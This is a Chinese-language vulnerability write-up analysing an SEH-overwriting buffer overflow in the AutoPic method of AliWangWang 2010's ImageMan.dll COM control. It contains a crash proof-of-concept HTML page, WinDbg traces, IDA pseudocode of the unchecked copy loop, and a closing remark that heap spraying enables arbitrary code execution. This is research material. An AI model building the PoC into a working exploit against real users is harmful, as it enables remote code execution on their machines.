作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
阿里旺旺2010版本的ImageMan.dll动态链接库中,有一个COM接口负责处理图片信息,其中有一个函数AutoPic存在漏洞,当在html中加载这个COM接口,并传入特殊字符串时,会由于对字符串长度没有进行检查,在拷贝时读取到不可用地址,从而导致程序进入SEH异常处理,通过超长payload可以覆盖SEH指针从而达到eip可控的效果,下面对此漏洞进行详细分析。
这个漏洞在泉哥的《漏洞战争》里也有非常详细的讲解。
软件下载这里不提供链接了,网上搜应该还是有的,这个漏洞在阿里旺旺后续补丁中,直接删除了这个处理模块,但是这个漏洞是很有意义的,其实在日常白帽子对src产品的漏洞挖掘中,如果是对二进制熟悉的白帽子,很多都不知道二进制该从什么地方入手,所以这个漏洞具备一定的参考意义,而且在src中对于此类漏洞的奖金应该是不会少的..
PoC:
<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
var buffer = '';
while (buffer.length < 1111) buffer+="A";
target.AutoPic(buffer,"defaultV");
</script>
</body>
</html>
保存这个PoC成一个html网页,然后安装阿里旺旺后打开这个网页触发异常。
漏洞复现
首先安装阿里旺旺2010,之后用IE打开,发现IE崩溃,通过附加windbg,可以到达漏洞崩溃位置。
(a5c.628): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=1003ed3c ecx=020dfefc edx=fdf20104 esi=00000041 edi=020e0000
eip=1003406b esp=020deedc ebp=020deee4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\AliWangWang\Pictool\ImageMan.dll -
ImageMan!DllUnregisterServer+0x32e70:
1003406b 8807 mov byte ptr [edi],al ds:0023:020e0000=4d
此时edi因为引用了一个不可写地址,从而引发了异常,继续执行。
0:008> g
(a5c.628): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=020deb0c ebp=020deb2c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
第一次中断时会进入SEH异常处理,之后会由于SEH指针被覆盖,eip到达一个可控的位置,通过kb命令回溯堆栈调用情况。
0:008> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
020deee4 1001c324 020df128 020df024 fdf20fdd ImageMan!DllUnregisterServer+0x32e70
020deef8 1001ac30 020df128 020df024 fdf20fdd ImageMan!DllUnregisterServer+0x1b129
020df22c 41414141 41414141 41414141 41414141 ImageMan!DllUnregisterServer+0x19a35
020df230 41414141 41414141 41414141 41414141 0x41414141
020df234 41414141 41414141 41414141 41414141 0x41414141
020df238 41414141 41414141 41414141 41414141 0x41414141
020df23c 41414141 41414141 41414141 41414141 0x41414141
此时已经堆栈已经被畸形字符串冲垮,此时处于ImageMan.dll动态链接库中,实际上在之前的函数调用前。
0:008> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
020def10 1001ac30 020df140 020df03c fdf20fc5 ImageMan!DllUnregisterServer+0x1b115
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\OLEAUT32.dll -
020df244 77105cd9 037e3728 02ce92d4 0023d02c ImageMan!DllUnregisterServer+0x19a35
020df264 771062e8 037e3728 00000020 00000004 OLEAUT32!DispCallFunc+0xc3
020df2f4 100085b0 00193284 037e3728 00000000 OLEAUT32!DispCallFunc+0x6d2
调用了OLEAUT32.dll中的DispCallFunc函数,这是一个COM接口的调用函数,实际上这个过程并不重要下面通过之前的堆栈回溯进行详细分析。
漏洞分析
通过回溯,在DispCallFunc函数后看到一处函数调用,地址是1001c310,在这个函数入口下断点,重新跟踪调试程序。
0:017> sxe ld:ImageMan
0:017> g
ModLoad: 10000000 10054000 C:\Program Files\AliWangWang\Pictool\ImageMan.dll
eax=00000000 ebx=00000000 ecx=037b0000 edx=7c92e4f4 esi=00000000 edi=00000000
eip=7c92e4f4 esp=020d9284 ebp=020d9378 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!KiFastSystemCallRet:
7c92e4f4 c3 ret
0:008> bp 1001C310
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\AliWangWang\Pictool\ImageMan.dll -
0:008> g
Breakpoint 0 hit
eax=020df140 ebx=1003ed3c ecx=020df03c edx=020df03c esi=020df4f8 edi=020df244
eip=1001c310 esp=020def14 ebp=020df244 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ImageMan!DllUnregisterServer+0x1b115:
1001c310 55 push ebp
程序命中断点,此时查看一下ecx的值。
0:008> dc ecx
020df03c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
020df04c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
020df05c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
020df06c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
020df07c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
020df08c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
020df09c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
020df0ac 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
ecx的值正好是payload的地址指针,通过IDA看一下伪代码
unsigned __int8 *__cdecl sub_1001C310(unsigned __int8 *a1, unsigned __int8 *a2, size_t a3)
{
return _mbsnbcpy(a1, a2, a3);
}
实际上这个sub_1001C310函数只是AutoPic处理函数中的一个内层调用,只做了一件事就是执行mbsnbcpy函数,而在这个函处理中,会将畸形字符串传入,并没有进行检查。
接下来继续单步跟踪。
0:008> p
eax=fdf20fc5 ebx=1003ed3c ecx=020df03c edx=020df03c esi=020df4f8 edi=020df244
eip=1001c316 esp=020def10 ebp=020def10 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ImageMan!DllUnregisterServer+0x1b11b:
1001c316 50 push eax
0:008> p
eax=fdf20fc5 ebx=1003ed3c ecx=020df03c edx=020df03c esi=020df4f8 edi=020df244
eip=1001c317 esp=020def0c ebp=020def10 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ImageMan!DllUnregisterServer+0x1b11c:
1001c317 8b4d0c mov ecx,dword ptr [ebp+0Ch] ss:0023:020def1c=020df03c
0:008> p
eax=fdf20fc5 ebx=1003ed3c ecx=020df03c edx=020df03c esi=020df4f8 edi=020df244
eip=1001c31a esp=020def0c ebp=020def10 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ImageMan!DllUnregisterServer+0x1b11f:
1001c31a 51 push ecx
0:008> p
eax=fdf20fc5 ebx=1003ed3c ecx=020df03c edx=020df03c esi=020df4f8 edi=020df244
eip=1001c31b esp=020def08 ebp=020def10 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ImageMan!DllUnregisterServer+0x1b120:
1001c31b 8b5508 mov edx,dword ptr [ebp+8] ss:0023:020def18=020df140
0:008> p
eax=fdf20fc5 ebx=1003ed3c ecx=020df03c edx=020df140 esi=020df4f8 edi=020df244
eip=1001c31e esp=020def08 ebp=020def10 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ImageMan!DllUnregisterServer+0x1b123:
1001c31e 52 push edx
0:008> p
eax=fdf20fc5 ebx=1003ed3c ecx=020df03c edx=020df140 esi=020df4f8 edi=020df244
eip=1001c31f esp=020def04 ebp=020def10 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ImageMan!DllUnregisterServer+0x1b124:
1001c31f e8037d0100 call ImageMan!DllUnregisterServer+0x32e2c (10034027)
0:008> dd esp
020def04 020df140 020df03c fdf20fc5 020df244
020def14 1001ac30 020df140 020df03c fdf20fc5
在1001c31f地址位置执行了一个call调用,这个call调用就是mbnscpy,在进入内层调用钱查看一下栈顶情况,可以看到第一个参数是020df140,实际上这是一个用于保存内容的指针,第二个参数是020df03c,这个值就是最开始看到的保存payload的指针。
接下来进入这个函数跟踪,看看为什么会产生这个漏洞。
0:008> p
eax=fdf20fc5 ebx=1003ed3c ecx=020df03c edx=020df140 esi=020df4f8 edi=020df244
eip=10034031 esp=020deefc ebp=020deefc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ImageMan!DllUnregisterServer+0x32e36:
10034031 57 push edi
0:008> p
eax=fdf20fc5 ebx=1003ed3c ecx=020df03c edx=020df140 esi=020df4f8 edi=020df244
eip=10034032 esp=020deef8 ebp=020deefc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ImageMan!DllUnregisterServer+0x32e37:
10034032 8b7d08 mov edi,dword ptr [ebp+8] ss:0023:020def04=020df140
0:008> p
eax=fdf20fc5 ebx=1003ed3c ecx=020df03c edx=020df140 esi=020df4f8 edi=020df140
eip=10034035 esp=020deef8 ebp=020deefc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ImageMan!DllUnregisterServer+0x32e3a:
10034035 897d08 mov dword ptr [ebp+8],edi ss:0023:020def04=020df140
0:008> dd edi
020df140 00000000 00000000 00000000 00000000
020df150 00000000 00000000 00000000 00000000
020df160 00000000 00000000 00000000 00000000
函数进入后,首先会把待拷贝的缓冲区交给edi,接下来继续跟踪。
0:008> p
eax=00000000 ebx=1003ed3c ecx=00000019 edx=fdf20fc5 esi=020df4f8 edi=020df140
eip=1003405b esp=020deef4 ebp=020deefc iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ImageMan!DllUnregisterServer+0x32e60:
1003405b 8b4d0c mov ecx,dword ptr [ebp+0Ch] ss:0023:020def08=020df03c
0:008> p
eax=00000000 ebx=1003ed3c ecx=020df03c edx=fdf20fc5 esi=020df4f8 edi=020df140
eip=1003405e esp=020deef4 ebp=020deefc iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
ImageMan!DllUnregisterServer+0x32e63:
1003405e 8a01 mov al,byte ptr [ecx] ds:0023:020df03c=41
0:008> dc ecx
020df03c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
020df04c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
020df05c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
020df06c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
020df07c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
020df08c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
随后会把要拷贝的内容继续交给ecx,随后ecx会读取单字节交给al,之后就会进入一个大循环中。
0:008> p
eax=00000041 ebx=1003ed3c ecx=020df03c edx=fdf20fc4 esi=00000041 edi=020df140
eip=10034064 esp=020deef4 ebp=020deefc iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282
ImageMan!DllUnregisterServer+0x32e69:
10034064 f686c1af041004 test byte ptr ImageMan!DllUnregisterServer+0x49dc6 (1004afc1)[esi],4 ds:0023:1004b002=18
0:008> p
eax=00000041 ebx=1003ed3c ecx=020df03c edx=fdf20fc4 esi=00000041 edi=020df140
eip=1003406b esp=020deef4 ebp=020deefc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ImageMan!DllUnregisterServer+0x32e70:
1003406b 8807 mov byte ptr [edi],al ds:0023:020df140=00
0:008> p
eax=00000041 ebx=1003ed3c ecx=020df03c edx=fdf20fc4 esi=00000041 edi=020df140
eip=1003406d esp=020deef4 ebp=020deefc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ImageMan!DllUnregisterServer+0x32e72:
1003406d 7413 je ImageMan!DllUnregisterServer+0x32e87 (10034082) [br=1]
0:008> bp 1003406b
0:008> g
Breakpoint 1 hit
eax=00000041 ebx=1003ed3c ecx=020df03d edx=fdf20fc3 esi=00000041 edi=020df141
eip=1003406b esp=020deef4 ebp=020deefc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ImageMan!DllUnregisterServer+0x32e70:
1003406b 8807 mov byte ptr [edi],al ds:0023:020df141=00
0:008> dd 020df140
020df140 00000041 00000000 00000000 00000000
进入这个循环中之后,每一轮循环都会从拷贝al的一个单字节到待拷贝的缓冲区。
0:008> g
Breakpoint 1 hit
eax=00000041 ebx=1003ed3c ecx=020df03e edx=fdf20fc2 esi=00000041 edi=020df142
eip=1003406b esp=020deef4 ebp=020deefc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ImageMan!DllUnregisterServer+0x32e70:
1003406b 8807 mov byte ptr [edi],al ds:0023:020df142=00
0:008> dd 020df140
020df140 00004141 00000000 00000000 00000000
虽然这样,但是纵观整个函数调用过程,并没有对拷贝的长度进行检查,当拷贝长度超过一定长度之后,会到达不可写的位置。
0:008> bc 1
0:008> bp 1003406b ".if(@edi==0x020fffff){;}.else{g;}"
0:008> g
(38c.e9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=1003ed3c ecx=020dfefc edx=fdf20104 esi=00000041 edi=020e0000
eip=1003406b esp=020deef4 ebp=020deefc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
ImageMan!DllUnregisterServer+0x32e70:
1003406b 8807 mov byte ptr [edi],al ds:0023:020e0000=4d
0:008> dd ecx
020dfefc 41414141 41414141 41414141 41414141
020dff0c 41414141 41414141 41414141 41414141
020dff1c 41414141 41414141 41414141 41414141
020dff2c 41414141 41414141 41414141 41414141
020dff3c 41414141 41414141 41414141 41414141
020dff4c 41414141 41414141 41414141 41414141
020dff5c 41414141 41414141 41414141 41414141
020dff6c 41414141 41414141 41414141 41414141
0:008> dd edi
020e0000 00905a4d 00000003 00000004 0000ffff
020e0010 000000b8 00000000 00000040 00000000
020e0020 00000000 00000000 00000000 00000000
020e0030 00000000 00000000 00000000 000000c0
020e0040 0eba1f0e cd09b400 4c01b821 685421cd
020e0050 70207369 72676f72 63206d61 6f6e6e61
020e0060 65622074 6e757220 206e6920 20534f44
020e0070 65646f6d 0a0d0d2e 00000024 00000000
0:008> dd edi-20
020dffe0 41414141 41414141 41414141 41414141
020dfff0 41414141 41414141 41414141 41414141
从此之后会进入SEH异常处理,由于对字符串长度没有进行控制,可以通过覆盖SEH链指针的方法控制eip跳转到指定位置,看一下IDA pro关于这个函数的关键逻辑。
unsigned __int8 *__cdecl _mbsnbcpy(unsigned __int8 *a1, const unsigned __int8 *a2, size_t a3)
{
unsigned __int8 *v3; // edi@1
size_t v5; // edx@3
const unsigned __int8 *v6; // ecx@4
unsigned __int8 v7; // al@5
bool v8; // zf@5
_BYTE *v9; // ecx@6
unsigned __int8 v10; // al@7
size_t v11; // eax@14
int v12; // edx@14
v3 = a1;
if ( !dword_1004AEBC )
return (unsigned __int8 *)strncpy((char *)a1, (const char *)a2, a3);
_lock(25);
v5 = a3;
if ( !a3 )
goto LABEL_14;
v6 = a2;
while ( 1 )
{
v7 = *v6;
--v5;
v8 = (byte_1004AFC1[*v6] & 4) == 0;
*v3 = *v6;
在while循环中会循环复制,v6指针中的内容由于没有进行控制从而后续导致v3到达不可写地址,引发SEH异常。
对于这个漏洞的利用,可以通过堆喷的方法喷射payload,通过SEH指针控制跳转到一个指定地址,进入后可以执行任意代码。